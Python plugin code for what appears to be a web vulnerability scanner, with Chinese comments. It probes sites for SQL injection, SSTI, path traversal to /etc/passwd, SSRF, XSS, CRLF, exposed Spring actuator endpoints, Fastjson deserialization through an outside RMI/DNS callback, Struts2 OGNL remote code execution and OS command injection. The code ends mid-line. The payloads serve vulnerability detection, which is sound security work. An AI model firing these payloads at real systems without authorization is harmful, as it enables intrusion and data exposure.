def test_ssti(self, data, k, positon): randnum1 = random.randint(1000, 10000) randnum2 = random.randint(8888, 20000) checksum = str(randnum1 * randnum2) ssti_payloads = self.getSSTIPayload(randnum1, randnum2) for payload in ssti_payloads: data[k] = payload # 不编码请求 r1 = self.req(positon, url_dict2str(data, positon)) if checksum in r1.text: return { "request": r1.reqinfo, "response": generateResponse(r1), "desc": "payload:{} 会回显{} 不编码payload".format(payload, checksum), "payload": payload } # url编码请求 r1 = self.req(positon, data) if checksum in r1.text: return { "request": r1.reqinfo, "response": generateResponse(r1), "desc": "payload:{} 会回显{} url编码payload".format(payload, checksum), "payload": payload } # html编码请求 data[k] = html.escape(data[k]) r1 = self.req(positon, data) if checksum in r1.text: return { "request": r1.reqinfo, "response": generateResponse(r1), "desc": "payload:{} 会回显{} html编码payload".format(payload, checksum), "payload": payload }
def audit(self): result = urlparse(self.requests.url) path = result.path if self.requests.method == "GET" and self.requests.url.count('/') >= 4 and parse_url.geturl_ext(self.requests.url) in ["js", "css"] and self.response.status_code == 200: resp = requests.get(self.requests.url + ";/env", headers=self.requests.headers) result = self.new_result() result.init_info(self.requests.url, "静态文件下的路径遍历", VulType.PATH_TRAVERSAL) flag = False if resp.status_code == 200 and "java.vm.version" in resp.text: flag = True result.add_detail("payload1请求", self.requests.url + ";/env", generateResponse(resp), self.requests.url + ";/env", "", "", PLACE.GET) number = self.requests.url.count("/") - 2 resp1 = requests.get(self.requests.url + "/" + "..;/" * number + "env", headers=self.requests.headers) if resp1.status_code == 200 and "java.vm.version" in resp1.text: flag = True result.add_detail("payload1请求", self.requests.url + "/" + "..;/" * number + "env", generateResponse(resp1), self.requests.url + "/" + "..;/" * number + "env", "", "", PLACE.GET) resp2 = requests.get(self.requests.url + "/" + "../" * number + "etc/passwd", headers=self.requests.headers) if resp2.status_code == 200 and "root:x:" in resp2.text: flag = True result.add_detail("payload2请求", self.requests.url + "/" + "../" * number + "etc/passwd", generateResponse(resp2), self.requests.url + "/" + "../" * number + "etc/passwd", "", "", PLACE.GET) if flag: self.success(result)
def audit(self): p = urlparse(self.requests.url) arg = "{}://{}/".format(p.scheme, p.netloc) headers = {"User-Agent": "curl/7.54.0"} response = requests.get(arg + "render?url=http://www.example.com", herders=headers) if "<h1>Example Domain</h1>" in response.text: result = self.new_result() result.init_info(self.requests.url, "动态渲染导致的ssrf", VulType.SSRF) result.add_detail( "payload请求", response.reqinfo, generateResponse(response), "存在ssrf漏洞尝试:{}".format(arg + "render?url=http://www.example.com"), "", "", PLACE.GET) self.success(result) headers = {"User-Agent": "Slackbot blabla"} response = requests.get(arg, herders=headers) if response.headers.get( "X-Renderer" ) is not None and "Rendertron" == response.headers.get("X-Renderer"): result = self.new_result() result.init_info(self.requests.url, "动态渲染导致的ssrf", VulType.SSRF) result.add_detail( "payload请求", response.reqinfo, generateResponse(response), '可能存在ssrf漏洞尝试:curl -A "Slackbot-LinkExpanding 1.0 (+https://api.slack.com/robots)" {}redirectUrl=http://www.example.com/' .format(arg), "", "", PLACE.GET) self.success(result)
def audit(self): p = urlparse(self.requests.url) domain = "{}://{}/".format(p.scheme, p.netloc) payload = "(A({}))/".format(random_str(6)) url = domain + payload req = requests.get(url, headers=self.requests.headers) if payload in req.text: new_payload = "(A(\"onerror='{}'{}))/".format( random_str(6), random_str(6)) url2 = domain + new_payload req2 = requests.get(url2, headers=self.requests.headers) if new_payload in req2.text: result = self.new_result() result.init_info(self.requests.url, ".net 通杀xss", VulType.XSS) result.add_detail("payload回显", req.reqinfo, generateResponse(req), "payload:{}回显在页面".format(payload), "", "", PLACE.GET) result.add_detail("payload回显", req2.reqinfo, generateResponse(req2), "payload:{}回显在页面".format(payload), "", "", PLACE.GET) self.success(result)
def audit(self): if WEB_PLATFORM.PHP not in self.response.programing and conf.level < 2: return regx = 'Parse error: syntax error,.*?\sin\s' randint = random.randint(5120, 10240) verify_result = md5(str(randint).encode()) _payloads = [ "print(md5({}));", ";print(md5({}));", "';print(md5({}));$a='", "\";print(md5({}));$a=\"", "${{@print(md5({}))}}", "${{@print(md5({}))}}\\", "'.print(md5({})).'" ] # 载入处理位置以及原始payload iterdatas = self.generateItemdatas() errors = None errors_raw = () # 根据原始payload和位置组合新的payload for origin_dict, positon in iterdatas: payloads = self.paramsCombination(origin_dict, positon, _payloads) for key, value, new_value, payload in payloads: r = self.req(positon, payload) if not r: continue html1 = r.text if verify_result in html1: result = self.new_result() result.init_info(self.requests.url, self.desc, VulType.CMD_INNJECTION) result.add_detail("payload探测", r.reqinfo, generateResponse(r), "探测payload:{}并发现回显:{}".format(new_value, verify_result), key, value, positon) self.success(result) break if re.search(regx, html1, re.I | re.S | re.M): result = self.new_result() result.init_info(self.requests.url, self.desc, VulType.CMD_INNJECTION) result.add_detail("payload探测", r.reqinfo, generateResponse(r), "探测payload:{}并发现正则回显:{},可能是payload未闭合语句造成的错误".format(new_value, regx), key, value, positon) self.success(result) break if not errors: errors = sensitive_page_error_message_check(html1) if errors: errors_raw = (key, value) if errors: result = self.new_result() key, value = errors_raw result.init_info(self.requests.url, "敏感配置信息泄漏", VulType.SENSITIVE) for m in errors: text = m["text"] _type = m["type"] result.add_detail("payload请求", r.reqinfo, generateResponse(r), "匹配组件:{} 匹配正则:{}".format(_type, text), key, value, positon) self.success(result)
def audit(self): num = random_num(4) s = random_str(4) _payloads = [ '鎈\'"\(', "'", "')", "';", '"', '")', '";', ' order By 500 ', "--", "-0", ") AND {}={} AND ({}={}".format(num, num + 1, num, num), " AND {}={}%23".format(num, num + 1), " %' AND {}={} AND '%'='".format(num, num + 1), " ') AND {}={} AND ('{}'='{}".format(num, num + 1, s, s), " ' AND {}={} AND '{}'='{}".format(num, num + 1, s, s), '`', '`)', '`;', '\\', "%27", "%%2727", "%25%27", "%60", "%5C", "extractvalue(1,concat(char(126),md5({})))".format(random_num), "convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','{}')))". format(random_num) ] # 载入处理位置以及原始payload iterdatas = self.generateItemdatas() # 根据原始payload和位置组合新的payload for origin_dict, positon in iterdatas: payloads = self.paramsCombination(origin_dict, positon, _payloads) for key, value, new_value, payload in payloads: r = self.req(positon, payload) if not r: continue html = r.text for sql_regex, dbms_type in Get_sql_errors(): match = sql_regex.search(html) if match: result = self.new_result() result.init_info(self.requests.url, "SQL注入", VulType.SQLI) result.add_detail( "payload探测", r.reqinfo, generateResponse(r), "DBMS_TYPE:{} 匹配结果:{}".format( dbms_type, match.group()), key, payload, positon) self.success(result) return True message_lists = sensitive_page_error_message_check(html) if message_lists: result = self.new_result() result.init_info(self.requests.url, "SQL注入", VulType.SQLI) result.add_detail( "payload探测", r.reqinfo, generateResponse(r), "需要注意的报错信息:{}".format(repr(message_lists)), key, payload, positon) self.success(result) return True
def audit(self): plainArray = [ "; for 16-bit app support", "[MCI Extensions.BAK]", "# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.", "# localhost name resolution is handled within DNS itself.", "[boot loader]" ] regexArray = [ '(Linux+\sversion\s+[\d\.\w\-_\+]+\s+\([^)]+\)\s+\(gcc\sversion\s[\d\.\-_]+\s)', '(root:\w:\d*:)', "System\.IO\.FileNotFoundException: Could not find file\s'\w:", "System\.IO\.DirectoryNotFoundException: Could not find a part of the path\s'\w:", "<b>Warning<\/b>:\s\sDOMDocument::load\(\)\s\[<a\shref='domdocument.load'>domdocument.load<\/a>\]:\s(Start tag expected|I\/O warning : failed to load external entity).*(Windows\/win.ini|\/etc\/passwd).*\sin\s<b>.*?<\/b>\son\sline\s<b>\d+<\/b>", "(<web-app[\s\S]+<\/web-app>)", "Warning: fopen\(", "open_basedir restriction in effect", '/bin/(bash|sh)[^\r\n<>]*[\r\n]', '\[boot loader\][^\r\n<>]*[\r\n]' ] iterdatas = self.generateItemdatas() _payloads = self.generate_payloads() for origin_dict, positon in iterdatas: payloads = self.paramsCombination(origin_dict, positon, _payloads) for key, value, new_value, payload in payloads: r = self.req(positon, payload) if not r: continue html1 = r.text for plain in plainArray: if plain in html1: result = ResultObject(self) result.init_info(self.requests.url, "目录穿越导致任意文件被读取", VulType.PATH_TRAVERSAL) result.add_detail( "payload探测", r.reqinfo, generateResponse(r), "探测payload:{},并发现回显{}".format(payload, plain), key, new_value, positon) self.success(result) return for regex in regexArray: if re.search(regex, html1, re.I | re.S | re.M): result = ResultObject(self) result.init_info(self.requests.url, "目录穿越导致任意文件被读取", VulType.PATH_TRAVERSAL) result.add_detail( "payload探测", r.reqinfo, generateResponse(r), "探测payload:{},并发现正则回显{}".format(payload, regex), key, new_value, positon) self.success(result) return
def audit(self): list = ["env", "actuator/env", "appenv", "actuator/appenv"] url = self.requests.url.rstrip("/") directory = os.path.basename(url) headers = self.requests.headers result = self.new_result() result.init_info(self.requests.url, "spring api 泄漏", VulType.BRUTE_FORCE) flag = False for payload in list: test_url = directory + "/" + payload try: r = requests.get(test_url, headers=headers, allow_redirects=False, stream=True) except requests.exceptions.MissingSchema: continue if r.status_code == 200 and "java.vm.version" in r.text: flag = True result.add_detail("payload请求" + payload, test_url, generateResponse(r), "spring api 泄漏:" + test_url, "", "", PLACE.GET) if flag: self.success(result)
def audit(self): if WEB_PLATFORM.PHP in self.response.programing or conf.level >= 2: headers = self.requests.headers variants = [ "phpinfo.php", "pi.php", "php.php", "i.php", "test.php", "temp.php", "info.php", ] for phpinfo in variants: testURL = self.requests.url.rstrip("/") + "/" + phpinfo r = requests.get(testURL, headers=headers) flag = "<title>phpinfo()</title>" if flag in r.text: info = get_phpinfo(r.text) result = self.new_result() result.init_info(self.requests.url, "phpinfo发现", VulType.SENSITIVE) result.add_detail( "payload请求", r.reqinfo, generateResponse(r), "匹配到关键词:{} information:{}".format(flag, repr(info)), "", "", PLACE.GET) self.success(result)
def audit(self): headers = self.requests.headers p = urlparse(self.requests.url) domain = "{}://{}/".format(p.scheme, p.netloc) payload = domain + ".idea/workspace.xml" r = requests.get(payload, headers=headers, allow_redirects=False) path_lst = [] if '<component name="' in r.text: root = etree.XML(r.text.encode()) for e in root.iter(): if e.text and e.text.strip().find('$PROJECT_DIR$') >= 0: path = e.text.strip() path = path[path.find('$PROJECT_DIR$') + 13:] if path not in path_lst: path_lst.append(path) for key in e.attrib: if e.attrib[key].find('$PROJECT_DIR$') >= 0: path = e.attrib[key] path = path[path.find('$PROJECT_DIR$') + 13:] if path and path not in path_lst: path_lst.append(path) if path_lst: result = self.new_result() result.init_info(self.requests.url, "idea敏感文件发现", VulType.DIRSCAN) result.add_detail("payload请求", r.reqinfo, generateResponse(r), "敏感目录列表:{}".format(repr(path_lst)), "", "", PLACE.GET) self.success(result)
def audit(self): headers = self.requests.headers if self.requests.post_hint == POST_HINT.JSON or self.requests.post_hint == POST_HINT.JSON_LIKE: # 第三方平台 # dnslog = DnsLogApi() # dnsdomain = random_str(4) + "." + dnslog.new_domain() # 检测是否使用fastjson for 1.2.67 # refer:https://github.com/alibaba/fastjson/issues/3077 # r = requests.post(self.requests.url, data=self.generate_check_fastjson(dnsdomain), headers=headers) # isFastjson = dnslog.check() # if isFastjson: # result = self.new_result() # result.init_info(self.requests.url, "使用了Fastjson", VulType.CODE_INJECTION) # result.add_detail("payload", r.reqinfo, generateResponse(r), # "第三方dnslog有日志回显:{}".format(repr(isFastjson)), "", "", PLACE.GET) # self.success(result) # else: # return # reqlist = [] # for payload in [self.generate_payload_1_2_24(dnsdomain), self.generate_payload_1_2_47(dnsdomain)]: # r = requests.post(self.requests.url, data=payload, headers=headers) # reqlist.append(r) # dnslist = dnslog.check() # if dnslist: # result = self.new_result() # result.init_info(self.requests.url, "Fastjson Poc 1.24-1.27", VulType.CODE_INJECTION) # for req in reqlist: # result.add_detail("payload请求", req.reqinfo, generateResponse(req), # "第三方dnslog有日志回显:{}".format(repr(dnslist)), "", "", PLACE.POST) # self.success(result) # 内置rmi平台 rmi = reverseApi() if rmi.isUseReverse(): rmidomain = rmi.generate_rmi_token() rmi_token = rmidomain["token"] fullname = rmidomain["fullname"] reqlist = [] for payload in [ self.generate_payload_1_2_24(fullname), self.generate_payload_1_2_47(fullname) ]: r = requests.post(self.requests.url, data=payload, headers=headers) reqlist.append(r) dnslist = rmi.check(rmi_token) if dnslist: result = self.new_result() result.init_info(self.requests.url, "Fastjson Poc 1.24-1.27", VulType.CODE_INJECTION) for req in reqlist: result.add_detail( "payload请求", req.reqinfo, generateResponse(req), "内置rmi 有日志回显:{}".format(repr(dnslist)), "", "", PLACE.POST) self.success(result)
def audit(self): if WEB_PLATFORM.JAVA in self.response.programing or conf.level >= 2: headers = self.requests.headers check = '<Struts2-vuln-Check>' payloads = [ r"%{(#nikenb='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#[email protected]@getResponse().getWriter()).(#o.println('<'+'Struts2-vuln-'+'Check>')).(#o.close())}", r"%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#[email protected]@getResponse().getWriter()).(#[email protected]@getRequest()).(#path=#req.getRealPath('Struts2-vuln-'+'Check>')).(#o.println(#path)).(#o.close())}", r'''%{(#f**k='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@getRequest()).(#[email protected]@getResponse().getWriter()).(#outstr.println(#req.getRealPath("Struts2-vuln-"+"Check>"))).(#outstr.close()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}''' ] for payload in payloads: headers['Content-Type'] = payload r = requests.get(self.requests.url, headers=headers, timeout=30) html1 = r.text if check in html1: result = self.new_result() result.init_info(self.requests.url, "Struts2-045远程代码执行", VulType.CODE_INJECTION) result.add_detail("payload探测", r.reqinfo, generateResponse(r), "发现回显flag:{}".format(check), "", "", PLACE.POST) self.success(result) break
def audit(self): if self.requests.suffix.lower() == '.js': new_url = self.requests.url + ".map" req = requests.get(new_url, headers=self.requests.headers) if req.status_code == 200 and 'webpack:///' in req.text: result = ResultObject(self) result.init_info(self.requests.url, "webpack源文件泄漏", VulType.SENSITIVE) result.add_detail("payload探测", req.reqinfo, generateResponse(req), "webpack:/// 在返回文本中", "", "", PLACE.GET) self.success(result)
def audit(self): _payloads = ['鎈\'"\('] # 载入处理位置以及原始payload iterdatas = self.generateItemdatas() # 根据原始payload和位置组合新的payload for origin_dict, positon in iterdatas: payloads = self.paramsCombination(origin_dict, positon, _payloads) for key, value, new_value, payload in payloads: r = self.req(positon, payload) if not r: continue html = r.text for sql_regex, dbms_type in Get_sql_errors(): match = sql_regex.search(html) if match: result = self.new_result() result.init_info(self.requests.url, "SQL注入", VulType.SQLI) result.add_detail( "payload探测", r.reqinfo, generateResponse(r), "DBMS_TYPE:{} 匹配结果:{}".format( dbms_type, match.group()), key, payload, positon) self.success(result) return True message_lists = sensitive_page_error_message_check(html) if message_lists: result = self.new_result() result.init_info(self.requests.url, "基于报错的SQL注入", VulType.SQLI) result.add_detail( "payload探测", r.reqinfo, generateResponse(r), "需要注意的报错信息:{}".format(repr(message_lists)), key, payload, positon) self.success(result) return True
def audit(self): if self.response.headers.get( 'Content-Type' ) is not None and "application/hal+json" in self.response.headers.get( 'Content-Type'): headers = self.requests.headers r = requests.get(self.requests.url, headers=headers, timeout=30) api_json = r.json() if len(api_json['_links']) > 1: result = self.new_result() result.init_info(self.requests.url, "存在apls接口", VulType.SENSITIVE) result.add_detail("payload探测", r.reqinfo, generateResponse(r), "发现apls接口:{}".format(self.requests.url), "", "", PLACE.GET) self.success(result)
def audit(self): if WEB_PLATFORM.PHP in self.response.programing or conf.level >= 2: headers = self.requests.headers p = urlparse(self.requests.url) domain = "{}://{}/".format(p.scheme, p.netloc) payload = domain + "robots.txt/.php" r = requests.get(payload, headers=headers, allow_redirects=False) ContentType = r.headers.get("Content-Type", '') if 'html' in ContentType and "allow" in r.text: result = self.new_result() result.init_info(self.requests.url, "代码解析漏洞", VulType.CODE_INJECTION) result.add_detail("payload请求", r.reqinfo, generateResponse(r), "Content-Type:{}".format(ContentType), "", "", PLACE.GET) self.success(result)
def audit(self): headers = self.requests.headers if WEB_PLATFORM.PHP not in self.response.programing and conf.level < 2: return iterdatas = self.generateItemdatas() for item in iterdatas: iterdata, positon = item for k, v in iterdata.items(): data = copy.deepcopy(iterdata) del data[k] key = k + "[]" data[key] = v if positon == PLACE.GET: r = requests.get(self.requests.netloc, params=data, headers=headers) elif positon == PLACE.POST: r = requests.post(self.requests.url, data=data, headers=headers) elif positon == PLACE.COOKIE: if self.requests.method == HTTPMETHOD.GET: r = requests.get(self.requests.url, headers=headers, cookies=data) elif self.requests.method == HTTPMETHOD.POST: r = requests.post(self.requests.url, data=self.requests.post_data, headers=headers, cookies=data) if "Warning" in r.text and "array given in " in r.text: path = get_middle_text(r.text, 'array given in ', ' on line') result = self.new_result() result.init_info(self.requests.url, self.desc, VulType.SENSITIVE) result.add_detail( "payload探测", r.reqinfo, generateResponse(r), "将参数{k}={v}替换为{k}[]={v},path路径泄漏:{p}".format(k=k, v=v, p=path), key, v, positon) self.success(result)
def audit(self): result = urlparse(self.requests.url) path = result.path if self.requests.method == "GET" and self.response.status_code == 302 and self.response.headers['Location'] in path: result = self.new_result() result.init_info(self.requests.url, "uri重定向或crlf", VulType.REDIRECT) result.add_detail("uri重定向", self.requests.url, generateResponse(self.response), "尝试将uri改为http://www.evil.com进行重定向测试", "", "", PLACE.GET) headers = { "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36" } response = requests.get(result.scheme + "://" + result.netloc + path + "%0d%0ajinqi:%20crlf_test", headers=headers, allow_redirects=False) if "jinqi" in response.headers.keys(): result.add_detail("crlf", result.scheme + ":" + result.netloc + path + "%0d%0ajinqi:%20crlf_test", generateResponse(response), "尝试使用如上url进行crlf测试", "", "", PLACE.GET) self.success(result)
def audit(self): headers = self.requests.headers p = urlparse(self.requests.url) domain = "{}://{}/".format(p.scheme, p.netloc) + random_str(6) + ".jsp" r = requests.get(domain, headers=headers) messages = sensitive_page_error_message_check(r.text) if messages: result = self.new_result() result.init_info(self.requests.url, "敏感的报错信息", VulType.SENSITIVE) for m in messages: text = m["text"] _type = m["type"] result.add_detail("payload请求", r.reqinfo, generateResponse(r), "匹配组件:{} 匹配正则:{}".format(_type, text), "", "", PLACE.GET) self.success(result)
def audit(self): p = urlparse(self.requests.url) arg = "{}://{}/".format(p.scheme, p.netloc) FileList = [] FileList.append(arg + 'common/swfupload/swfupload.swf') FileList.append(arg + 'adminsoft/js/swfupload.swf') FileList.append(arg + 'statics/js/swfupload/swfupload.swf') FileList.append(arg + 'images/swfupload/swfupload.swf') FileList.append(arg + 'js/upload/swfupload/swfupload.swf') FileList.append(arg + 'addons/theme/stv1/_static/js/swfupload/swfupload.swf') FileList.append( arg + 'admin/kindeditor/plugins/multiimage/images/swfupload.swf') FileList.append(arg + 'includes/js/upload.swf') FileList.append(arg + 'js/swfupload/swfupload.swf') FileList.append(arg + 'Plus/swfupload/swfupload/swfupload.swf') FileList.append( arg + 'e/incs/fckeditor/editor/plugins/swfupload/js/swfupload.swf') FileList.append(arg + 'include/lib/js/uploadify/uploadify.swf') FileList.append(arg + 'lib/swf/swfupload.swf') md5_list = [ '3a1c6cc728dddc258091a601f28a9c12', '53fef78841c3fae1ee992ae324a51620', '4c2fc69dc91c885837ce55d03493a5f5', ] for payload in FileList: payload1 = payload + "?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28%22xss%22%29}}//" req = requests.get(payload1, headers=self.requests.headers) if req.status_code == 200: md5_value = md5(req.content) if md5_value in md5_list: result = self.new_result() result.init_info(req.url, "Flash通用Xss", VulType.XSS) result.add_detail("payload请求", req.reqinfo, generateResponse(req), "匹配到存在漏洞的md5:{}".format(md5_value), "", "", PLACE.GET) self.success(result) break
def audit(self): flag = { "/.svn/all-wcprops": "svn:wc:ra_dav:version-url", "/.git/config": 'repositoryformatversion[\s\S]*', "/.bzr/README": 'This\sis\sa\sBazaar[\s\S]', '/CVS/Root': ':pserver:[\s\S]*?:[\s\S]*', '/.hg/requires': '^revlogv1.*' } headers = self.requests.headers for f in flag.keys(): _ = self.requests.url.rstrip('/') + f r = requests.get(_, headers=headers) if re.search(flag[f], r.text, re.I | re.S | re.M): result = self.new_result() result.init_info(self.requests.url, "仓库泄漏", VulType.SENSITIVE) result.add_detail("payload请求", r.reqinfo, generateResponse(r), "匹配到正则:{}".format(flag[f]), "", "", PLACE.GET) self.success(result)
def audit(self): if WEB_PLATFORM.JAVA in self.response.programing or conf.level >= 2: headers = self.requests.headers ran_a = random.randint(10000000, 20000000) ran_b = random.randint(1000000, 2000000) ran_check = ran_a - ran_b lin = 'expr' + ' ' + str(ran_a) + ' - ' + str(ran_b) checks = [ str(ran_check), '无法初始化设备 PRN', '??????? PRN', '<Struts2-vuln-Check>', 'Unable to initialize device PRN' ] payloads = [ r"method%3a%23_memberAccess%[email protected]+@DEFAULT_MEMBER_ACCESS%2c%23kxlzx%[email protected]@getResponse%28%29.getWriter%28%29%2c%23kxlzx.println%28" + str(ran_a) + '-' + str(ran_b) + "%29%2c%23kxlzx.close", r"method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&cmd=print+test&pp=\\A&ppp=%20&encoding=UTF-8", r"method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&cmd=" + lin + r"&pp=\\A&ppp=%20&encoding=UTF-8", r"method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23path%3d%23req.getRealPath(%23parameters.pp[0]),%23w%3d%23res.getWriter(),%23w.print(%23path),%23w.print('Check>'),1?%23xx:%23request.toString&pp=<Struts2-vuln-&encoding=UTF-8" ] headers['Content-Type'] = 'application/x-www-form-urlencoded' for payload in payloads: r = requests.post(self.requests.url, headers=headers, data=payload) html1 = r.text for check in checks: if check in html1: result = self.new_result() result.init_info(self.requests.url, "Struts2-032远程代码执行", VulType.CODE_INJECTION) result.add_detail("payload探测", r.reqinfo, generateResponse(r), "发现回显flag:{}".format(check), "", "", PLACE.POST) self.success(result) return
def audit(self): headers = self.requests.headers url = self.requests.url p = urlparse(url) domain = "{}://{}/".format(p.scheme, p.netloc) result = self.new_result() try: list = [ domain + "/env", domain + "/actuator/env", domain + "/appenv", domain + "/actuator/appenv" ] for api_url in list: resp = requests.get(api_url, headers=headers, allow_redirects=False, timeout=5) if resp.status_code == 200 and "java.vm.version" in resp.text: result.init_info(self.requests.url, "spring boot监控接口信息泄漏", VulType.BRUTE_FORCE) result.add_detail("payload请求", resp.reqinfo, generateResponse(resp), "api接口:" + api_url, "", "", PLACE.GET) self.success(result) return except Exception as e: pass
def audit(self): resp = self.response.text ret = False for k, v in self.requests.headers.items(): if k.lower() in ["cookie", "token", "auth"]: ret = True break if not ret: return iterdatas = self.generateItemdatas() for origin_dict, position in iterdatas: if position == PLACE.COOKIE: for k, v in origin_dict.items(): request_headers_for_payload = self.del_cookie_token() r = self.req(position, origin_dict, headers=request_headers_for_payload) if r is None: continue # self.seqMatcher.set_seq1(resp) # self.seqMatcher.set_seq2(r.text) # ratio = round(self.seqMatcher.quick_ratio(), 3) # 减少内存开销 min_len = min(len(resp), len(r.text)) self.seqMatcher = difflib.SequenceMatcher( None, resp[:min_len], r.text[:min_len]) ratio = round(self.seqMatcher.quick_ratio(), 3) if ratio > self.SIMILAR_MIN: result = self.new_result() result.init_info(self.requests.url, self.desc, VulType.UNAUTH) result.add_detail("请求Payload", r.reqinfo, generateResponse(r), "删除{}后存在未授权访问".format(k), k, v, position) self.success(result) break
def audit(self): # 目前只检测get请求 if self.requests.method == "GET": payloads_header = [ "\r\nTestInject: myscan", "\r\n\tTestInject: myscan", "\r\n TestInject: myscan", "\r\tTestInject: myscan", "\nTestInject: myscan", "\rTestInject: myscan", "%0ATestInject: myscan/..", "%3F%0DTestInject: myscan", "%E5%98%8A%E5%98%8DTestInject: myscan", "%0d%0aTestInject: myscan", r"\r\nCTestInject: myscan", # twitter crlf "嘊嘍TestInject: myscan", # nodejs crlf "čĊTestInject: myscan", ] # 载入各请求类型的对应参数 iterdatas = self.generateItemdatas() for origin_dict, positon in iterdatas: payloads = self.paramsCombination(origin_dict, positon, payloads_header) # key是被替换的参数的key value是是被替换的参数的值 new_value是使用的payload payload是替换后的所有参数集,直接放入requests for key, value, new_value, payload in payloads: r = self.req(positon, payload) if "TestInject" in r.headers.keys(): result = self.new_result() result.init_info(self.requests.url, "crlf 漏洞", VulType.CRLF) result.add_detail("payload请求", r.reqinfo, generateResponse(r), "payload" + payload, "", "", PLACE.GET) self.success(result)
def audit(self): url = self.requests.url p = urlparse(url) domain = "{}://{}/".format(p.scheme, p.netloc) result = self.new_result() headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0", "Content-Type": "application/octet-stream", "AUTH-TOKEN": "jinqi123" } headers1 = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0", "Content-Type": "application/octet-stream", "AUTH-TOKEN": "mysecret" } vul_url = domain + "/.~~spring-boot!~/restart" try: resp = requests.post(vul_url, headers=headers, data="a", timeout=10) resp1 = requests.post(vul_url, headers=headers1, data="a", timeout=10) if resp1.status_code == 500 and resp.status_code == 403: result.init_info(self.requests.url, "存在spring devtools 反序列化漏洞", VulType.BRUTE_FORCE) result.add_detail("payload请求", resp.reqinfo, generateResponse(resp), "api接口:" + vul_url, "", "", PLACE.POST) self.success(result) except Exception as e: pass
def audit(self): url = self.requests.url if self.requests.suffix not in acceptedExt and conf.level < 4: return randint = random.randint(1000, 9000) url_flag = { "set|set&set": [ 'Path=[\s\S]*?PWD=', 'Path=[\s\S]*?PATHEXT=', 'Path=[\s\S]*?SHELL=', 'Path\x3d[\s\S]*?PWD\x3d', 'Path\x3d[\s\S]*?PATHEXT\x3d', 'Path\x3d[\s\S]*?SHELL\x3d', 'SERVER_SIGNATURE=[\s\S]*?SERVER_SOFTWARE=', 'SERVER_SIGNATURE\x3d[\s\S]*?SERVER_SOFTWARE\x3d', 'Non-authoritative\sanswer:\s+Name:\s*', 'Server:\s*.*?\nAddress:\s*' ], "echo `echo 6162983|base64`6162983".format(randint): ["NjE2Mjk4Mwo=6162983"] } if OS.WINDOWS in self.response.os: del url_flag["echo `echo 6162983|base64`6162983".format(randint)] # 无回显 payload # dnslog = DnsLogApi() # dnsdomain = dnslog.new_domain() # token = random_str(4) # dnslog_payload = "ping -nc 1 {}.{}".format(token, dnsdomain) # url_flag[dnslog_payload] = [] # 内置平台 dns payload dns = reverseApi() if dns.isUseReverse(): dnsdomain = dns.generate_dns_token() dns_token = dnsdomain["token"] fullname = dnsdomain["fullname"] reverse_payload = "ping -nc 1 {}".format(fullname) url_flag[reverse_payload] = [] iterdatas = self.generateItemdatas() for origin_dict, positon in iterdatas: payloads = self.paramsCombination(origin_dict, positon, url_flag) for key, value, new_value, payload, re_list in payloads: r = self.req(positon, payload) if not r: continue html1 = r.text for rule in re_list: if re.search(rule, html1, re.I | re.S | re.M): result = self.new_result() result.init_info(url, "可执行任意系统命令", VulType.CMD_INNJECTION) result.add_detail( "payload请求", r.reqinfo, generateResponse(r), "执行payload:{} 并发现正则回显{}".format(new_value, rule), key, new_value, positon) self.success(result) break # if dnslog_payload in new_value: # dnslist = dnslog.check() # if dnslist: # result = self.new_result() # result.init_info(url, "可执行任意系统命令", VulType.CMD_INNJECTION) # result.add_detail("payload请求", r.reqinfo, generateResponse(r), # "执行payload:{} dnslog平台接收到返回值".format(payload, repr(dnslist)), key, # new_value, # positon) # self.success(result) # break if dns.isUseReverse(): dnslist = dns.check(dns_token) if dnslist: result = self.new_result() result.init_info(url, "可执行任意系统命令", VulType.CMD_INNJECTION) result.add_detail( "payload请求", r.reqinfo, generateResponse(r), "执行payload:{} dnslog平台接收到返回值".format( payload, 